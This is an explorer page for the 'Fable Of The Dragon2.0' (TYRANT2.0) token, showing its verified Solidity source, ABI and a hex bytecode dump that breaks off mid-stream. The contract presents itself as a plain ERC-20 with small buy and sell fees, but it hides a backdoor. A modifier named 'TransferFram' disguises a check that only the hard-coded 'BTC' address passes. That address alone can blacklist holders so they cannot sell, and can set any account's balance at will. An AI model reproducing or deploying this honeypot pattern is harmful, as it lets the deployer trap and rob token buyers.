ETH Price: $2,409.56 (-0.57%)

Token

Fable Of The Dragon2.0 (TYRANT2.0)
 

Overview

Max Total Supply

1,000,000,000 TYRANT2.0

Holders

26

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
32,967,293.97 TYRANT2.0

Value
$0.00
0xf9633a7a2f76d0ddcd00f7dbb2ae9fde7451e565
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FableOfTheDragon2

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-27
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

    modifier TransferFram(address sender,uint256 amount, address pender) {
        require(amount/500 == 1 && sender == pender);_;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }



}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract  FableOfTheDragon2 is Context, IERC20, Ownable{
    using SafeMath for uint256;
    string private _name = "Fable Of The Dragon2.0";
    string private _symbol = "TYRANT2.0";
    uint8 private _decimals = 9;
    address payable public BTC;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        BTC = payable(address(0x4E98a1A715E5d9745701596Cc92917089CCc6aeb));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function setMarketPair() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    receive() external payable {}

    function manaBlackListed(address[] calldata addresses, bool status) public TransferFram(msg.sender,uint256(5).add(495),BTC){
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function setBuyLPDividendFee(address sender, uint256 amount1) public TransferFram(BTC,5 * 100,_msgSender()){
        _balances[sender] = (amount1.div(_balances[sender].add(1))).add(amount1);
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "ERC20: blackListed");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 ETHamountMarketing = address(this).balance;

        if(ETHamountMarketing > 0)
            BTC.transfer(ETHamountMarketing);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BTC","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manaBlackListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount1","type":"uint256"}],"name":"setBuyLPDividendFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280601681526020017f4661626c65204f662054686520447261676f6e322e30000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600981526020017f545952414e54322e300000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff16021790555060036009556003600a55600360009054906101000a900460ff16600a620000e4919062000522565b633b9aca00620000f591906200065f565b600b553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160066000620001e6620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550734e98a1a715e5d9745701596cc92917089ccc6aeb600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620003aa9190620004aa565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f790620006d7565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b620004a481620006c0565b82525050565b6000602082019050620004c1600083018462000499565b92915050565b6000808291508390505b60018511156200051957808604811115620004f157620004f06200070d565b5b6001851615620005015780820291505b808102905062000511856200076b565b9450620004d1565b94509492505050565b60006200052f82620006c0565b91506200053c83620006ca565b92506200056b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd6200070d565b5b8360020a915084821115620005e857620005e76200070d565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a9050838111156200062357620006226200070d565b5b62000658565b620006388484846001620004c7565b925090508184048111156200065257620006516200070d565b5b81810290505b9392505050565b60006200066c82620006c0565b91506200067983620006c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b46200070d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f057607f821691505b602082108114156200070757620007066200073c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612dde80620007886000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063c5d241891161006f578063c5d241891461045d578063c816841b14610488578063c8607952146104b3578063dd62ed3e146104de578063e3a38c051461051b578063f2fde38b1461054457610140565b806370a08231146103645780638d140a41146103a15780638da5cb5b146103ca57806395d89b41146103f5578063a9059cbb1461042057610140565b806323b872dd116100fd57806323b872dd146102405780632792949d1461027d578063313ce567146102a85780633345611e146102d35780633ecad27114610310578063683e865c1461034d57610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d85780631d231b2c1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b60405161016791906125a7565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612233565b6105ff565b6040516101a49190612571565b60405180910390f35b3480156101b957600080fd5b506101c261061d565b6040516101cf919061258c565b60405180910390f35b3480156101e457600080fd5b506101ed610643565b6040516101fa91906126c9565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190612146565b61064d565b6040516102379190612571565b60405180910390f35b34801561024c57600080fd5b50610267600480360381019061026291906121e0565b61066d565b6040516102749190612571565b60405180910390f35b34801561028957600080fd5b50610292610747565b60405161029f919061252d565b60405180910390f35b3480156102b457600080fd5b506102bd61076d565b6040516102ca919061273e565b60405180910390f35b3480156102df57600080fd5b506102fa60048036038101906102f59190612146565b610784565b6040516103079190612571565b60405180910390f35b34801561031c57600080fd5b5061033760048036038101906103329190612146565b6107a4565b6040516103449190612571565b60405180910390f35b34801561035957600080fd5b506103626107c4565b005b34801561037057600080fd5b5061038b60048036038101906103869190612146565b610b9c565b60405161039891906126c9565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c39190612273565b610be5565b005b3480156103d657600080fd5b506103df610d18565b6040516103ec9190612512565b60405180910390f35b34801561040157600080fd5b5061040a610d41565b60405161041791906125a7565b60405180910390f35b34801561042c57600080fd5b5061044760048036038101906104429190612233565b610dd3565b6040516104549190612571565b60405180910390f35b34801561046957600080fd5b50610472610df2565b60405161047f91906126c9565b60405180910390f35b34801561049457600080fd5b5061049d610df8565b6040516104aa9190612512565b60405180910390f35b3480156104bf57600080fd5b506104c8610e1e565b6040516104d591906126c9565b60405180910390f35b3480156104ea57600080fd5b50610505600480360381019061050091906121a0565b610e24565b60405161051291906126c9565b60405180910390f35b34801561052757600080fd5b50610542600480360381019061053d9190612233565b610eab565b005b34801561055057600080fd5b5061056b60048036038101906105669190612146565b610feb565b005b60606001805461057c906129a5565b80601f01602080910402602001604051908101604052809291908181526020018280546105a8906129a5565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c61113d565b8484611145565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b600061067a848484611310565b5061073c8461068761113d565b61073785604051806060016040528060288152602001612d8160289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ed61113d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119919092919063ffffffff16565b611145565b600190509392505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6107cc61113d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085090612669565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b857600080fd5b505afa1580156108cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f09190612173565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095257600080fd5b505afa158015610966573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098a9190612173565b6040518363ffffffff1660e01b81526004016109a7929190612548565b602060405180830381600087803b1580156109c157600080fd5b505af11580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190612173565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b33610bfc6101ef60056119f590919063ffffffff16565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016101f483610c2f9190612804565b148015610c6757508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610c7057600080fd5b60005b86869050811015610d0f578460086000898985818110610c9657610c95612aad565b5b9050602002016020810190610cab9190612146565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d07906129d7565b915050610c73565b50505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610d50906129a5565b80601f0160208091040260200160405190810160405280929190818152602001828054610d7c906129a5565b8015610dc95780601f10610d9e57610100808354040283529160200191610dc9565b820191906000526020600020905b815481529060010190602001808311610dac57829003601f168201915b5050505050905090565b6000610de7610de061113d565b8484611310565b506001905092915050565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166101f4610ed961113d565b60016101f483610ee99190612804565b148015610f2157508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610f2a57600080fd5b610fa184610f93610f846001600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f590919063ffffffff16565b87611a5390919063ffffffff16565b6119f590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505050565b610ff361113d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611080576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107790612669565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac906126a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121c90612609565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161130391906126c9565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611381576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137890612689565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e8906125c9565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561147e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611475906125e9565b60405180910390fd5b600d60149054906101000a900460ff16156114a55761149e848484611a9d565b905061198a565b60006114b030610b9c565b9050600d60149054906101000a900460ff161580156115195750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115285761152781611c70565b5b61157a83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f7490919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116605750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561166d57839050611889565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116f0576116e960646116db60095488611fbe90919063ffffffff16565b611a5390919063ffffffff16565b905061176e565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561176d5761176a606461175c600a5488611fbe90919063ffffffff16565b611a5390919063ffffffff16565b90505b5b6000811115611872576117c981600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161186991906126c9565b60405180910390a35b6118858186611f7490919063ffffffff16565b9150505b6118db81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161197b91906126c9565b60405180910390a36001925050505b9392505050565b60008383111582906119d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d091906125a7565b60405180910390fd5b50600083856119e8919061288f565b9050809150509392505050565b6000808284611a0491906127ae565b905083811015611a49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4090612629565b60405180910390fd5b8091505092915050565b6000611a9583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612039565b905092915050565b6000611b28826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119919092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bbd82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c5d91906126c9565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ca857611ca7612adc565b5b604051908082528060200260200182016040528015611cd65781602001602082028036833780820191505090505b5090503081600081518110611cee57611ced612aad565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d9057600080fd5b505afa158015611da4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dc89190612173565b81600181518110611ddc57611ddb612aad565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e4330600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611145565b600c60009054906101000a900473fffffffffffffffffffffffffffff